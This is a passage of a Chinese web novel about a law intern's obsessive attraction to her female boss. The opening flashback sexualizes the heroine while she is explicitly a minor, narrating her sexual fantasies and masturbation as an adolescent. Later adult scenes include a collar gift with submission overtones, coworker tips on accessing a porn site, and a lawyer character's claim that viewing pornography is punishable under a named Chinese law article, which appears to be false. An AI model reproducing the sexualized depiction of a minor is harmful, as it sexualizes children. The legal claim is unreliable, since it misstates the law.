匆匆一瞥,脚步越来越慢,最后在五秒钟后完全停下。
她仓皇回头。
女人清冷疏离的侧脸映在凉薄的阳光下,那身剪裁得体的西装裹住一具完美的身子,将她压藏在严苛教育下的性幻想激发出来。
成熟,对青春期的小孩来说是致命吸引。
成熟之外,是由成熟延伸开来的一切,比如美丽、独立、自由、成功,又比如成年女人对未成年女孩天然的诱惑。
她站在原地看女人的背影,女人越来越远,到一个转角消失不见。
她在2秒钟后扔掉沉重的书包。
她放弃成为一个乖小孩。
她开始尾随这个女人。
孟斯汀花了一天的时间尾随女人,她不知道女人要做什么,也不知道女人叫什么名字。
或许她本就不想关注这些无关紧要的东西,所以直到夜幕降临,她远远看着女人驱车离开,都没能获取有用的信息。
回家之后,她做了一个梦。
梦里她被完全掌控。
她向女人完全臣服。
她疯狂、酥麻、愉悦。
身体的不适唤醒了她。
她大口喘息着,羞愤地用被子蒙住自己
一分钟后,她小心翼翼探索梦里的快乐,首次感受到直击天灵盖的震颤。
抖动的被子下是抑制的呜咽。
她失控了,却觉得好像得到了救赎。
而那份人生第一次的幻想,关于对女人的过度渴望,把她困在窄小的空间里。
她幻想女人给她美好的体验,幻想女人带她从压抑的环境里解脱。
她也幻想自己是女人的伴侣,被女人爱抚。
她同样也幻想她是那样自由、独立、优秀的孟斯汀,就像那个看起来很不一样的女人一般。
她极度渴望那个女人,她极度期盼女人对她触碰和在意。
后来她得知女人名叫傅锦懿。
傅锦懿,很好听的名字,她也终于可以在濒死的痉挛中呼唤女人的姓名。
傅锦懿,傅锦懿,傅锦懿。
从市长千金沦为贪官的女儿后,记者们围堵在家门口,她无法去上学,也无法再通过任何手段去尾随傅锦懿。
她犯了焦虑症。
她开始恐惧。
她听说孟辉犯了很大的错误,而她和妈妈完全被蒙在鼓里,毫不知情。可她们身为孟辉的家人,理所应当平摊那些罪孽。
凭什么。
她压抑痛苦地做一个好孩子,凭什么要替罪大恶极的孟辉分摊罪孽。
然而所有的声音都在斥责她。
贪污犯的女儿享受着那些赃款,连同那些高尚、努力的荣誉都是污浊不堪的。
她迫切地想要找到傅锦懿。
公正严明的律师揭发了孟辉的罪恶,也一定会向所有人证明她的清白吧。
[傅锦懿,我是清白的,我从未参与过孟辉的罪孽。
傅锦懿,你告诉别人,我是清白的。
傅锦懿,我无罪。]
孟辉被终审那天,她坐在旁听席上,看傅锦懿冷静地提交证据,宣读孟辉的罪状。
傅锦懿每念一个数字,她都会颤抖,她太久没见傅锦懿了,她好想念她。她的身体在想,她的脑子也在想。
她贪婪地望着傅锦懿,她希望傅锦懿能当场宣布孟辉的女儿,她,孟斯汀,是无罪的。
然而直到庭审结束,孟辉被判立即执行死刑,她都没有从傅锦懿口中听到对她的澄清。
她着急站起来,却看到拿起文件的傅锦懿冷漠地瞥了她一眼。
傅锦懿镜片下漠然的双眸,仿佛在向她声明:父债子偿,孟辉,死刑,孟斯汀,死刑。
孟斯汀,有罪。
孟斯汀,立即执行死刑。
惊惧和快乐在这一刻共同释放,温热顺着她小腿流到地板上。
她颤抖着身子倒下,很快出现了恐怖的幻觉。
她毫无蔽.体地跪在傅锦懿面前,却被傅锦懿拽着锁链拖向刑场。
她的挣扎无济于事,而傅锦懿拿着一把枪,对准了她的额心。
砰——
她被傅锦懿杀死了。
她被正义杀死了。
孟斯汀,有罪。
死刑贪污犯的女儿,有罪。
她在洗浴间里不停冲洗自己,她身上有太多[市长女儿]的烙印,但她搓破了皮都洗不掉那个事实。
焦虑加重了她的需求,她被水冲刷着身体,无力地跪在湿滑的地板上自我缓解。
她哭喊起
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来。
傅锦懿,我没有罪。
傅锦懿,我是清白的。
她幻想是傅锦懿在宽恕她。
幻想那双没有什么指节,拿着诉讼文件,掌握着宣判生死权力的手,她抚摸她。
她仰着脸呜咽着喃喃。
傅锦懿,我无罪。
傅锦懿,我无罪。
淋浴间淅沥的水声唤醒了意识。
孟斯汀跪在地板上撑墙看着掌心,她咬了咬唇,匆匆洗完躲回床上蜷缩着。
她咬着被角低叹一声。
每次自渎后她都会陷入无限的羞愧。
学生时代的歧视和嘲讽让她更为压抑,她焦虑过重时会出现一些不适反应,她可以适当缓解些,缓解不了时,她会跑到厕所咬着手腕解决。
这么多年都是这样过来的,实在太难堪了。
她把自己蒙在被子里。
她希望傅锦懿一辈子也不要知道自己是这样的人。
//
周一早晨,孟斯汀如约背着Gucci双肩包上班。
皮质肩带压在她单薄的衬衫上,沉甸甸的,像某种隐形的标记。
想展示给傅锦懿看,但问过梁助理,傅锦懿这几天不在公司。
傅锦懿有新的委托,要为新委托忙碌。
她抱着书包看了又看,手机屏幕上是周五晚上的聊天记录。
傅锦懿用[。]来收尾聊天。
。
到底是什么意思?
傅锦懿什么时候才回律所?
看她心不在焉,徐嘉棠递来一盒切好的蜜瓜:“怎么,魂丢了?”
“嗯……室友要搬走了,房东还在找新室友。”孟斯汀接过叉子,叉了一块蜜瓜,“我在想要不要换房子,因为浦口区离律所确实太远了。”
“嫌远去住傅律的大house咯~”庄然突然探出头,“看你总往傅律办公室跑,还总问梁助理傅律在不在,这么贴着,不如直接搬去和傅律住?”
孟斯汀慢慢转过椅子,突然笑了:“你的提议不错,傅律在的话,我就跟她商量。”
庄然震怒:“什么?!你还真敢开这个口!”
“怎能不敢开,说不定,”孟斯汀单手拎着工牌晃了晃,“员工房租能打折呢。”
庄然气呼呼地跟孟斯汀理论:“住在上司家不尴尬吗?上班当牛马,下班还要看上司脸色,还要不要活了。”
徐嘉棠憋笑憋得肩膀直抖,被庄然回头瞪了一眼才举手投降:“OKOK,不笑了。”
傅锦懿的办公室到周三下午才有人,询问梁助后,对方说可以过去,孟斯汀拿着整理好的张娟案的复勘文件去傅锦懿办公室。
敲门后听到傅锦懿的“请进”,她整理下头发抿起唇角进门。
11. 第 11 章
门开时,落地窗处的人影把她隔得远远的。
澄净的玻璃窗倒映两个人影,孟斯汀在两人身上徘徊片刻,局促地颔首致歉:“不好意思,傅律、周律,我稍等再过来。”
周暮羽转头看向门口的实习生,齐肩锁骨短发,湿漉漉的大眼睛,皮肤白净,身子瘦高,修长。
素净的衬衫扣子扣得严严实实,不露出一点皮肤,胸前挂着蓝色工牌,下身是灰色百褶裙,脚下一双平底鞋。
“我们很快就聊完了。”周暮羽打量过实习生后道,“你先坐着,我和锦懿聊完就离开。”
孟斯汀站在门口一动不动。
直到傅锦懿头也不抬地说了声:“斯汀,坐。”
孟斯汀轻轻点头,踱步到沙发前。
怀里的文件被抱得更紧,纸张边缘在她指腹压出浅浅的凹痕。
坐下,脊背绷得笔直,像一根被拉紧的弦。裙摆因为坐姿向上缩了几寸,小腿的肌肤贴在真皮沙发上,凉意渗进来。
沙发正对着那扇明亮的落地窗,她并拢双腿注视着不远处的傅锦懿。
桌上摆了两台笔记本电脑,傅锦懿坐在左边,灰色西装套裙的收腰设计掐出锋利的线条,黑丝包裹的双腿交叠着,左脚尖微微勾起,高跟鞋的细跟悬在空中,像一把随时会落下的审判锤。
她低头在键盘上敲击,手指微微弯曲飞快地移动着,和周暮羽谈论工作的时候声音很低很轻。
孟斯汀的视线从她五官移到胸前,紧绷的衬衫下是完美的曲线,随着呼吸缓缓起伏,像某种炽烈的邀请。
“斯汀。”工作内容话题猝然中断,傅锦懿偏头,金丝框眼镜镜片下的目光直直地刺过来,“我还没问你找我做什么。”
“哦,我来提交张娟案的复勘报告。”
傅锦懿的目光落在她手上,纤细修长的手指紧紧握着文件边缘。
这是一双漂亮的手。
傅锦懿重新看向屏幕,键盘声继续响起,“知道了。”
话题转回工作上。
“谌总那个涉外金融案,我已经整理好了。”傅锦懿的声音低沉而清晰,“明晚详聊,下周酒会你和我一起去。”
周暮羽的鼠标点击声夹杂其中:“下周还要出差,不会耽误吧?”
“不会。”
“对了,”周暮羽的声音突然带上笑意,“上次出差你的沐浴露落在我这里了,我给你带过去。”
“行。”
沐浴露……落在别人那里了?
孟斯汀仓皇地揪住裙摆,布料在掌心皱成一团。
沐浴露。
带着专属味道的私人用品。
傅锦懿的沐浴露怎么会放在周暮羽那里?
布料在她手里捏得几乎变形。
她想象着周暮羽浴室里傅锦懿的沐浴露,玻璃瓶上还残留着水珠,瓶口可能还沾着几缕长发。
她的胸口发闷,像是被人按在水里。
周暮羽又说了句什么,两人轻笑出声。
青梅间的亲密,岂是一个平平无奇的实习生能打扰的。
偏她还坐在这里,像一个挤破头插进来的无关人员。
她低头盯着自己的鞋尖,喉咙里像是有什么东西哽在那里,咽不下去也吐不出来。
周暮羽起身时,目光扫过孟斯汀的身子。她走得慢,高跟鞋踩在地毯上几乎没有声音。
傅锦懿会把这个实习生变成什么样子?但现在感觉,这个实习生是挺听傅锦懿的话。不过万一是装的呢?
孟斯汀注意到周暮羽的时候,她已经抱着电脑拉开门走了出去。
聊完了?
叩叩。
傅锦懿敲了敲桌子,指节与实木桌面碰撞发出沉闷的声响:“斯汀,过来。”
孟斯汀如梦初醒,抱着文件夹快步走到办公桌前,双手递上。
傅锦懿接过,随意翻看两眼:“斯汀,坐。”
孟斯汀坐下,双腿并拢,手指交叠放在膝上。
纸页沙沙作响,傅锦懿的目光落在一张张打印好的报告上:“对这次复勘结果有疑问吗?”
“有。”
“有疑问的内容,整理好了吗?”
“还……还没有……”孟斯汀的声音越来越小,像是被抽走所有力气,“我来得比较匆忙,就……”
傅锦懿抬眼看她,镜片后的目光带着某种审讯的意味:“那怎么不等整理完再来?”
孟斯汀的耳尖发烫,失语了一瞬。
她来得急,只是因为怕错过傅锦懿在律所的时机。
傅锦懿工作忙碌,她除了等待这位大忙人,抓紧一切机会和她见面,再没有别的办法。
“对不起,傅律。”她低下头道歉,“是我的问题。”
傅锦懿合上文件,动作干脆利落:“等你整理完,再来重新找我和我讨论。”
很意外,还以为会被骂。
孟斯汀偷偷看对方,目光从眉骨滑到架着眼镜的鼻梁,再到紧抿的唇线。
“谢谢傅律。”她把文件收回来,扯开话题时,声音里带着小心翼翼的试探:“我这几天都背了新书包,但你今天才到公司,所以在这里跟你说一声。”
“为什么不发消息?”傅锦懿问,“拍照片发消息不是更方便告诉我?”
孟斯汀缩了下头:“我怕打扰你。”
“你觉得什么才叫打扰?”
“无关工作的。”
傅锦懿没说话,起身到办公桌抽屉里取出一个橙色盒子,上面写着LouisVuitton。
她敲敲办公桌,“斯汀,过来。”
孟斯汀放好文件走过去。
“上周让你换掉了你最喜欢的小狗头像,”傅锦懿把盒子递给她,“所以给你挑了个礼物,补偿你一下。”
补偿一个……LV?
这……这也太贵重了。
孟斯汀以为是包,但打开盒子,LV老花色的皮质项圈静静躺在丝绒上,圆片上刻着[STing]。圆片旁边还有一个铃铛,看起来像是额外加的装饰。
她摸了下那个铃铛,材质好像是金的。
而那个圆片刻的[STing]……
“我不知道该刻什么字,所以刻了你的名字。”傅锦懿的指尖抚过圆片,“
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你介意吗?”
孟斯汀的心跳快得像要冲出胸腔:“我不介意,但是你为什么要送我这个,LV的项圈很贵吧?”
傅锦懿的指尖在项圈上轻轻摩挲,她没有直接回答孟斯汀的问题,只是屈了下指节勾起项圈,轻轻一晃。
叮铃。
清脆的声响在静谧的空间里荡开。
孟斯汀咽了口唾沫,目光不受控制地追随着她手指的动作。
往左,往右。
往右,往左。
叮铃。
叮铃。
晃动几下,傅锦懿加了根中指勾住项圈继续摇晃。
叮铃。
叮铃。
面前的人瞳孔微微扩大,傅锦懿勾了下唇,把项圈慢慢放到盒子里。
“你不是喜欢小狗?如果以后你养狗的话,可以给它戴上。”她的指尖划过丝绒布,目光落在孟斯汀卷长的睫毛上。
稚嫩却英气的五官,总是持着平静无波的表情。有锋芒,也有自信,但……意外地听话。
不过……是真听话还是伪装的?
伪装的话……又能装多久?
傅锦懿脚步往她身前移了半步。
孟斯汀垂下眼道谢:“谢谢傅律,傅律破费了。”
“你拿回去可以找你心仪的小狗戴上试一试合不合适,中号比较泛用。”
“嗯,谢谢傅律。”
回到工位,孟斯汀把盒子暂时放在桌子上拿水杯去接水。
回来时,庄然已经打开了盒子。
孟斯汀仓促收起来:“喂,别乱碰!”
庄然撇嘴,新做的美甲在桌子上敲出清脆的声响:“我就好奇看看,你真小气。”
孟斯汀把项圈收进包里,动作小心翼翼。
“你要养狗?”庄然挑眉,眼线尾端高高挑起,“LV的项圈,这么贵的东西,给狗戴可惜了。而且,你那破出租屋能养?”
“我的出租屋肯定也不了。”孟斯汀心不在焉地搭理她,“我去傅律家养,我月底就搬过去。”
“也不知道你天天在做什么梦,你别做梦了好不好。”庄然知道她在胡说,懒得再搭理她。
//
下班回家后,孟斯汀坐在床上查看这个项圈。
中号项圈,绕在手腕几圈可以戴上。
叮铃。
铃铛发出清脆的声音。
她把项圈从手腕上取下,扣在了脖子上。
咔哒。
合上后,她晃了下身子,铃铛随着她的动作轻响。
“锦懿姐姐……呜……”
浴室里,热气在镜面上凝成水珠,她跪在地上咬住项圈,牙齿陷入柔软的皮革。
铃铛声混着喘息,在贴满瓷砖的浴室里撞击出回音。
她想到白天傅锦懿勾住项圈时突然加入的手指,发出幼犬一样细碎高亢的呜咽。
蜷缩进被窝时,项圈又重新戴在脖子上。金属染上体温变得温热,她翻了下身,耳边是悦耳的铃铛声。
手机震动,屏幕亮起。
是傅锦懿的消息:
[项圈合适吗?]
12. 第 12 章
孟斯汀猛地坐起身子,脖子上的铃铛随着起身的动作叮当作响。
微信对话的光映在她潮红的脸上,铃铛的响声似乎止不住了,更让她心慌。
傅锦懿……为什么会问项圈合不合适?
她放下手机去摸项圈,并没有摸出什么可疑的东西,可是傅锦懿为什么会这样问?
她蜷起腿,指尖在屏幕上悬停许久才发出回复:[谢谢傅律关心,我收好了]
这个答案简直答非所问。
但她已经顾不了那么多了,回复完息屏,拉起被子盖在身上闭上眼睛。
过了会儿,手机震动惊动了她。
她点开新消息。
傅锦懿:[我是问,有没有找你喜欢的品种狗狗试试]
耳根瞬间烧了起来,原来是问这个,她还以为傅锦懿发现项圈在被她戴着。
拇指在键盘上飞快按动,她打出一行字。
孟斯汀:[哦哦,我还没有时间去找合适的狗狗]
傅锦懿的回复来得很快:[不急,总会有狗狗愿意戴]
孟斯汀咬住下唇,戴着项圈的脖颈上,脉搏跳得厉害。
屏幕又亮起来。
傅锦懿:[后天我要出去见客户,案子的疑惑整理成文件发我就好,我会看的]
停顿几秒,又跳出一条。
傅锦懿:[你和我聊天的话,聊什么都不算打扰]
孟斯汀的呼吸一滞。
聊什么天,不算打扰的吗?
消息又传来。
傅锦懿:[晚安,斯汀]
不算打扰。
晚安,斯汀。
首次不是读不懂的结尾。
不是[。],也不是久久不回复。
是准许肆无忌惮地聊天。
是傅锦懿在跟她说晚安。
她仓促地在键盘上打字,打了删删了打,最后点开表情包,搜索一个白色小狗说晚安的表情包发了过去。
孟斯汀:[晚安jpg]
等了许久,对方没有消息发来,对话终止。
她把手机放在胸口,黑暗中湿润的眼睛,是蓄满脆弱又幸福的湖。
暗恋是一场又一场的等待,她的暗恋是七年潜藏于心的酸涩,是不见天日的罪证,也是一场伟大的正义。
靠近傅锦懿,成为傅锦懿,是孟斯汀少女时代坚定的梦。
那年报考法学时,很多人都嘲讽她。一个死刑贪官的女儿竟然学法,简直是对法律的侮辱。
但她知道,如果她不从事这个行业,她这辈子都不会和傅锦懿有交集。
她顶着闲言碎语,忍受着所有人的嘲讽,一步步向前走。
她和现实的种种较量,偏执地靠幻想活着,而那种没有实体也没有意义的东西,都让她觉得是不朽的感情。
杜撰出的情感单薄又脆弱,足以能在对方某一个眼神中碎裂,但也能在几个字里面变得盛大。
“锦懿姐姐,晚安。”
她整个人缩进被子里,呼唤梦里的名字。
她对不堪的痛苦感到麻木,但在这时感受到爱给她带来的幸福。
今夜她不要再做噩梦。
她要做最幸福的小狗。
//
早上到达瑞塔大厦楼下时,孟斯汀点开钉钉打卡。
[打卡成功]
忽然想到傅锦懿昨天跟她说的话:[你和我聊天的话,聊什么都不算打扰]
退出打卡页面,踏进大堂前,后退半步。
她低头点开相机,缓步走向大门旁明净的玻璃墙。墙面将她的身影完整地映照其中,宛若一面巨大的落地镜。
调整姿势对着镜子中的自己拍了张照片,画面里的人穿着白色背心打底,外搭浅蓝色长袖衬衫,下身是白色裤子和白色平底鞋。
指尖轻点,将照片发给了傅锦懿,附带一句话。
孟斯汀:[今天的穿搭]
手机很快震动,傅锦懿的回复简洁明了:[很清爽]
简简单单三个字,让她耳尖一热。
她抿唇笑笑迅速截图,一边走一边把照片和傅锦懿的回复p在一起。
一个没留神,头撞到玻璃门上。
匆匆赶进来的人瞥她一眼,她揉揉头关掉手机快步过闸道挤进电梯。
到律所时,还没进门,一股凉气扑面而来。
瑟缩了下身子踏进去,思思整理下文件跟她打招呼:“小孟,早啊。”
“早,思思。”
“小孟,你这几天气色不太好,熬夜熬多了?”思思冲她说。
孟斯汀下意识摸了摸脸,指尖触到眼下微微的凹陷:“可能吧,最近在整理复勘材料,有点着急。”
思思笑眯眯道:“今天所里请了老中医来会诊,你到时候去把把脉,看看需要补什么。”
孟斯汀眼睛一亮,点点头:“好。”
十点整去会议厅时已经热闹得不得了,律所特意把会议厅布置成中医会诊区,86寸大屏上滚动播放着“中医养生与职场健康”的PPT,几位老中医坐在诊桌前,同事们三三两两排队等候。
孟斯汀和徐嘉棠站在队伍中间,徐嘉棠翻着手机相册同前面的孟斯汀说:“再过一个月就是律所周年庆了,到时候有晚宴、游戏,还能抽奖。”
她划到去年的周年庆照片,突然停在一张傅锦懿的击剑照上。
照片里的傅锦懿身着纯白击剑服,修长的身形被紧身衣勾勒得凌厉而优雅,面罩摘下,额前的碎发微微汗湿,没戴眼镜的双眸锐利冷静,像一把出鞘的剑。
孟斯汀凑过去看,蜷了蜷手指。
不戴眼镜的傅锦懿好像更好看了。
徐嘉棠关掉手机感叹:“傅律今年可能要表演马术,她好像什么都会。”
转头问孟斯汀:“你呢?你有什么才艺?有的话可以报名,到时候在周年庆上表演。”
才艺嘛……
孟斯汀想了想轻声说:“钢琴、小提琴、大提琴、小号、长笛,还有其他乐器都会一点,但很久没练了。”
徐嘉棠瞪大眼睛:“你怎么什么都会?”
真是骇人,市长千金需要掌握那么多技能吗?
孟斯汀抿了抿唇:“以前被强迫学的。”
徐嘉棠拍拍她的肩:“那你下周可以报名啊,下周就开始征集了,你随便挑一个展示展示。”
孟斯汀犹豫了一下,小声问:“傅律除了马术,还表演什么吗?”
徐嘉棠摇摇头:“那就不知道了,你可以问问她。”
是个好主意。
孟斯汀瞄了眼长队,往徐嘉棠身边站站,轻声问:“你可以把傅律的击剑照发给我吗?她那几张照片,还挺好看的。”
徐嘉棠比了个ok的手势给她发了过去。
点击查看,保存原图。
孟斯汀调暗手机亮度,把击剑照设为和傅锦懿的聊天背景。
会诊排到她时,她乖乖坐下伸出手腕,老中医的指腹搭在她的脉搏上,沉吟片刻,缓缓道:“阴分不足,虚火上炎,小姑娘你近来心火可是太盛?”
孟斯汀一怔,“哦,可能吧,晚上有点睡不着。”
老中医继续道:“欲不可纵,志不可满,若想固本培元,需得从源头收束。”
旋即低头唰唰写了张药单递给她。
她接过药单起身去一旁,低头一看,药单上写着熟地黄、酒萸肉、山药、牡丹皮、茯苓、泽泻……
这是……什么意思?
坐回到工位,徐嘉棠凑过来,扫了一眼她的药单,挑眉:“你肾虚啊?”
肾……肾虚?
孟斯汀攥紧药单说:“我不知道,就是晚上有点失眠多梦。”
徐嘉棠饶有兴趣地托腮:“那老中医具体跟你说什么了?”
孟斯汀低声复述:“欲不可纵,志不可满,若想固本培元,需得从源头收束。”
徐嘉棠猛地拿过一张纸挡住脸,凑到她耳边,声音压得极低:“中医是在委婉说,你最近手/淫过度,需要节制。”
手。
淫。
过。
度。
!!!
听到这里,孟斯汀整个人像是僵住了,耳朵瞬间烧了起来,脸红得像是下一秒就要爆炸的气球。
中医这么准的吗?怎么连这个也能看得出来?
她攥紧裤子偏着头,实在羞于和徐嘉棠对视。
徐嘉棠打量着她,眼神微妙。
孟斯汀平时太规矩了,衬衫扣子永远扣到最上面一颗,暑夏这么热,从未见她穿短袖,裙子永远过膝,坐姿端正得像是被尺子量过。
但谁能想到……她竟然纵欲过度?
徐嘉棠趴在桌子上,憋笑憋得肩膀直抖,仍旧用那张纸挡着脸,小声问:“你用的什么玩具,这么让你痴迷?居然玩到自己肾虚,给我推荐推荐。”
孟斯汀的脸红得几乎滴血,咬着牙强撑:“玩具?什么玩具?”
徐嘉棠大为震惊:“不是吧?你自己手动?你还是个手艺人?”
孟斯汀羞耻得几乎想钻进地缝,声音细若蚊蝇:“你不要说那么大声……拜托了,我很尴尬。”
徐嘉棠啧叹一声,没想到她竟然从未用过玩具,但看她脸皮薄,便压低声音:“手工很累的吧,你怎么不用玩具?不会得腱鞘炎吗?”
孟斯汀低着头小声说:“不好意思,我不知道什么是玩具,那是什么东西?”
啧啧。
连玩具都不知道啊。
徐嘉棠拿过手机给她搜了图片,小声介绍:“就是这些,有很多类型的,震动的,吮吸的,还有入体的。”
瞄了她一眼,又问:“谈过对象吗?”
孟斯汀摇头。
“没谈过的话,入体式要用这种。”徐嘉棠把链接发给她:“我再把其它的都发你,你自己先了解一下这些东西。”
看她羞得抬不起头,徐嘉棠抿唇笑笑说:“你不要为这种行为感到羞耻,要正
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视自己的欲望,这很正常。”
孟斯汀不说话,只是低着头绞衣角。
“有空自己研究研究,我再发你一点相关内容,你看看。”徐嘉棠把一些关于此类的内容转发给她,手指敲动几下,凑过去说:“别觉得难为情,这不是什么大不了的事。你平时diy的时候看什么?片还是小说?”
“啊?”孟斯汀怔了怔。
徐嘉棠拿纸挡着嘴说:“就是你平时进入状态前是看什么,看片儿还是别的。”
耳边回响这句话时,孟斯汀感到一阵眩晕。
看片还是小说,都不是。
她想着傅锦懿就能进入状态了。
哪怕只是看到傅锦懿给她发一条短信,她都能瞬间进入状态,哪里还需要额外辅助。
吞了口唾沫,孟斯汀垂下眼回答:“我……看小说,就……夸克po18上的,额……高……□□。”
“没看过片儿?”
孟斯汀强装镇定:“不会翻墙。”
徐嘉棠打了个响指点开手机,把[魔方加速器]的文件发送给她,并敲了几个字。
[pr**h*b]
“魔方加速器,梯子软件,免费。这个网址,想看什么就搜,免费。”徐嘉棠晃晃手机给她看,“挂上梯子去谷歌搜pr**h*b,什么类型的都有。哦,还有好几个我觉得不错的网黄,等下给你整理整理。”
低着的头已经抬不起来了,孟斯汀红着耳尖问:“你怎么能这么光明正大地教我这个?这种事情,我认为很私密。”
徐嘉棠耸耸肩,一副无所谓的模样:“这有什么?我们是成年人,谁没有欲望?如果连性/欲都没有了,那估计身体是有一点点毛病的吧。”
孟斯汀下载着魔方加速器一瞬间愕然。
成年人有欲望很正常。
傅锦懿这样禁欲的女人,也会有欲望吧?傅锦懿有欲望的时候,会靠什么解决?
总不能也是像自己这样做手艺人吧。
她沉默地看着徐嘉棠发来的链接和软件、网址,对方再说些什么她都听不进去了。
人是欲望的载体。
她在这一刻憎恶欲望这个东西。
//
午休时趴在桌子上怎么都睡不着。
翻来覆去,一旁的庄然上手掐她胳膊小声训斥:“你要死啊!别动了!我都睡不着了!”
孟斯汀没有作声,只是默默起身,拿起手机推门而出。
锦意律所的午休时间长达两小时,十二点四十之后,整个办公区域的灯光次第熄灭。
走廊是一片静谧的灰蓝色,她踩着消音地毯穿过长廊走向茶水间,脚步声被厚实的地毯完全吸收。
茶水间里空无一人,咖啡机的指示灯还亮着,发出轻微的电流声。孟斯汀轻手轻脚地拉开里间的磨砂玻璃门,皮质沙发在昏暗的光线中泛着哑光。
侧身而入时,玻璃门合上,她找了个位置坐下,打开手机。
点开徐嘉棠发的链接,研究使用方法和不同的分类,指尖在屏幕上滑动,心跳随着图片的加载和买家评论而加速。
她竟然不知道还有这种东西。
翻看完徐嘉棠推荐的全部玩具,一个都没有加购。
那些玩具不足以给她带来真实的感受,也无法和傅锦懿链接在一起。
pr**h*b……
退出购物页面挂上梯子,她指尖悬在谷歌搜索框,犹豫了几秒才点开那个神秘的字母组合。
页面跳转的瞬间,孟斯汀差点把手机扔出去。
屏幕上赫然是各种露骨的视频缩略图,她手忙脚乱地调暗屏幕亮度,耳根烧得发烫。
徘徊许久,还是被某种隐秘的好奇心打败。
就……就看一个……
就一个,学习一下。
她咬着下唇,搜索[diy]词条,选了推荐的第一个视频。
点击skip跳过广告,黄黑字母logo闪过去,视频博主涂上润/滑/液按开玩具。
握着手机屏住呼吸,她低着头蜷起脚趾,膝盖紧紧并拢。
来得匆忙没带耳机,她只能选择静音看视频。
看着博主如何使用玩具,她好像有点明白怎么用了。
正入迷,没注意到身后地毯传来的细微动静。
直到一道阴影笼罩下来。
孟斯汀浑身一僵,转头时脖颈发出咔的一声响。
傅锦懿站在她身后,镜片后的眼睛看不出情绪。
她惊得手一抖,手机在空中划出抛物线。
正好落在傅锦懿摊开的掌心里。
手机在坠落掌心时误触到音量键,暧昧的呻/吟瞬间充斥整个房间。
时间仿佛凝固了。
傅锦懿垂眸扫过屏幕,修长的手指在侧面轻轻一按,令人窒息的声响戛然而止。
寂静中,孟斯汀甚至能听见自己牙齿打颤的声音。
膝盖突然失去力气,她踉跄着跪坐在地毯上。
13. 第 13 章
地毯的绒毛刺着手掌,像无数根细小的针紧紧钉住僵硬的身子。
孟斯汀瘫坐在地上,身体完全失去了知觉,连同目光都变得涣散起来。
唯一清晰的是脑海里的感知:她完蛋了。
被上司发现看这种影片,她真的完蛋了。
被暗恋的人发现自己看这种东西,她天塌了。
她已经无法想象傅锦懿会怎样看她。
正义の神,手工达人,P站fans。
做出这样的事,还有救吗?
她抖着身子注视傅锦懿,傅锦懿挪动脚步,轻缓地走到座椅旁落座。坐下时西装裤管微微绷紧,露出脚踝处一截黑丝。
跷起二郎腿,小腿肌肉绷出的漂亮弧度,皮鞋尖正对着孟斯汀的方向,悬在空中微微晃动一下。
视线往里移动,盯着眼前那截西装裤管下露出的黑丝脚踝,孟斯汀喉咙发紧。
“你在公司看这个,不怕被抓起来?”傅锦懿的声音从头顶落下。
孟斯汀猛地抬头,对上金丝眼镜后那双毫无温度的眼睛。
“抓……抓起来?”孟斯汀的声音细若蚊蝇。
不……不会吧……要被抓起来?
看这种东西,居然会严重到被抓起来吗?
傅锦懿唇角勾起一个几不可见的弧度:“你是律师,不懂这个?”
她侧过头看桌上息屏的手机,指尖轻轻敲击手机屏幕,声音轻缓:“根据《中华人民共和国治安管理处罚法》第六十八条,利用计算机信息网络观看□□视频的,虽然不构成犯罪,但可能面临十日以上十五日以下拘留,并可以并处三千元以下罚款的治安管理处罚。情节较轻的,也可能处五日以下拘留或者五百元以下罚款。”
她说完忽然放下右腿,鞋尖伸在跪着的孟斯汀双手面前,镜片下更为锐利的眼模糊起来,垂下的睫毛阴影盖住眼睑下的疲惫。
“更何况,”她唇角翘起一个小小的弧度,停顿的节奏都带着冷冽的寒气,“你在公司用公司的wifi看这种东西,警方可以轻易追踪到IP地址。”
“斯汀,追求刺激一定要在公司吗?你才获得正义的嘉奖不久,就要给自己留下一个新案底?还是说,你对我有意见,想犯个小罪抹黑一下公司?”
律所的空调很足,冷气从背上爬过,孟斯汀的膝盖在地毯上不安地挪动。
不是在追求刺激,不想留下案底,真的只是因为好奇。
但已经被抓到了,任何解释都是徒劳。
“傅律……对不起……我……我……”
“你想说你不是故意的?”
傅锦懿的目光追随着她的动作,像猫盯着无处可逃的老鼠。
鞋尖往前移动,移到小老鼠纤细修长的手旁。
那只手缩了下。
小老鼠的声音开始发抖:“嗯……我……不是故意的。”
傅锦懿忽然倾身,托着下巴一字一顿:“哦?你是说,不小心挂了梯子,不小心打开浏览器,再不小心……”
她的视线落在孟斯汀泛红的脸上,强烈的压迫感混着雪茶香扑面而来,“点进这个网站?”
呼吸几乎停滞了。
百口莫辩。
而头顶的傅锦懿还在审判她。
那寸冷冽的目光如有实质,从汗湿的鬓角,到剧烈起伏的胸口,最后停在不停颤抖的手指上。
孟斯汀继续苍白地辩解:“真的是……不小心,我……不小心。”
傅锦懿收回腿,后靠进沙发时西装发出细微的摩擦声。
她吸了口气,似乎不怎么满意这个回答,而后继续施压:“斯汀,诚实一点。”
盯着对方重新交叠的双腿,孟斯汀咬紧牙闭上眼睛,豁了出去:“对不起,傅律,是我好奇心太重才搜索的,对不起!”
傅锦懿声音冷了几度:“谁教你的?”
“我从网上看到的。”孟斯汀指甲陷进掌心,她下意识撒谎,不敢把徐嘉棠供出来,“按照网友的教程下载加速器,再搜这个网站。我,我以前从没有看过这种东西,我真的只是好奇。傅律,我是第一次,我真的是第一次。”
茶水间安静了许久,傅锦懿突然站起来。阴影完全笼罩孟斯汀的那瞬间,浓郁的雪茶味从头顶降落。
“先站起来。”傅锦懿说。
急促的心跳和呼吸声完全盖住轻声的命令,孟斯汀大脑一片空白,膝盖像是生了根,无法挪动分毫。
傅锦懿轻轻叹了口气,她抚了下衣服缓缓蹲下来,唤孟斯汀名字时尾音微微上扬,像在哄不听话的宠物,“斯汀,听话,站起来。”
她伸出了手,孟斯汀鬼使神差地把手搭了上去。
傅锦懿的手掌干燥温暖,握力恰到好处,松开手时蹭了下她的腕骨。
推了下写着罪状的手机,傅锦懿的声音恢复公事公办的冷静:“我两小时后要飞去外地,先回来取些文件和水,恰好……”
目光意味深长地扫过孟斯汀的手机,“恰好发现你在做坏事。”
孟斯汀死死咬住下唇。
“在律所看□□视频,这种事对锦意来说不是小事。”傅锦懿转身去冰箱里拿出两瓶矿泉水,瓶身凝结的水珠滴在她手腕上,顺着青色血管滑入袖口,“既然是我发现的,我理应给你一些惩戒。”
她的视线落在孟斯汀掐得发白的手指上,嘴角微不可察地绷紧。
“6000字手写检讨,下周一交到我办公室。”傅锦懿的声音突然放轻,“当然,除了必要的检讨,还有其他惩罚。”
孟斯汀屏住呼吸。
